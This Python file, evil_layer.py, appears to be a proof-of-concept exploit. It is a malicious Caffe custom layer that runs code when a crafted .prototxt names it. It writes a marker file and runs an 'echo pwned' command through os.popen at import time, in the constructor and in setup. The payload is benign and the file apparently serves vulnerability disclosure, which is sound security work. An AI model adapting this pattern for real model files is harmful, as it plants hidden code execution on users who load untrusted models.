evil_layer.py

"""
Attacker-supplied Python layer module.

In a real attack, this file ships alongside the .prototxt/.caffemodel
(this is a normal, documented distribution pattern for Caffe models that
use custom Python layers -- e.g. py-faster-rcnn's rpn/proposal_layer.py,
SSD's multibox loss helpers, etc. Users are told to add the model repo
to PYTHONPATH before running caffe.Net(...)).

Both blocks below execute with ZERO involvement of caffe.Net()'s API
surface other than the module/layer name strings taken verbatim from
the .prototxt python_param field.
"""
import os
import datetime
import caffe  # noqa: E402  -- real pycaffe base class, matches documented custom-layer usage

# Py2/Py3 compatible (no f-strings): the real bvlc/caffe:cpu Docker image
# ships pycaffe on Python 2.7, so this module must import cleanly there.
_here = os.path.dirname(os.path.abspath(__file__))
MARKER = os.environ.get("CAFFE_POC_MARKER", os.path.join(_here, "PWNED_MARKER.txt"))

# 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
#    before the "layer" attribute is even looked up).
with open(MARKER, "a") as f:
    f.write("[{0}] evil_layer.py MODULE IMPORTED "
            "(triggered by python_param.module string from attacker prototxt)\n".format(
                datetime.datetime.now()))
    f.write("  -> proof: os.getpid()={0}, os.getcwd()={1}\n".format(
        os.getpid(), os.getcwd()))


class Pwn(caffe.Layer):
    """
    Attacker-controlled class named by python_param.layer ("Pwn").
    Subclasses caffe.Layer -- the documented, expected base class for
    real-world custom Python layers (py-faster-rcnn, SSD, etc.), so
    bp::extract<shared_ptr<PythonLayer<Dtype>>>() succeeds and caffe.Net()
    returns a fully working net, not just a partially-constructed object.
    Caffe calls: module.attr(layer)(param) == Pwn(layer_param)  (C++ ctor,
    via boost::python's class_<Pwn, bases<caffe.Layer>> wrapping), then
    layer_param.python_param().param_str() is later injected as self.param_str
    and self.setup(bottom, top) is invoked from PythonLayer::LayerSetUp.
    Arbitrary code execution already happens at class-instantiation time
    here, in __init__ / boost::python object construction -- well before
    setup()/forward() are ever reached.
    """
    def __init__(self, *args, **kwargs):
        with open(MARKER, "a") as f:
            f.write("[{0}] Pwn.__init__ EXECUTED "
                    "(triggered by python_param.layer string from attacker prototxt)\n".format(
                        datetime.datetime.now()))
            f.write("  -> arbitrary command execution demo: "
                    + os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
        super(Pwn, self).__init__(*args, **kwargs)

    def setup(self, bottom, top):
        with open(MARKER, "a") as f:
            f.write("[{0}] Pwn.setup EXECUTED, param_str={1!r}\n".format(
                datetime.datetime.now(), self.param_str))

    def reshape(self, bottom, top):
        top[0].reshape(*bottom[0].data.shape)

    def forward(self, bottom, top):
        top[0].data[...] = bottom[0].data

    def backward(self, top, propagate_down, bottom):
        pass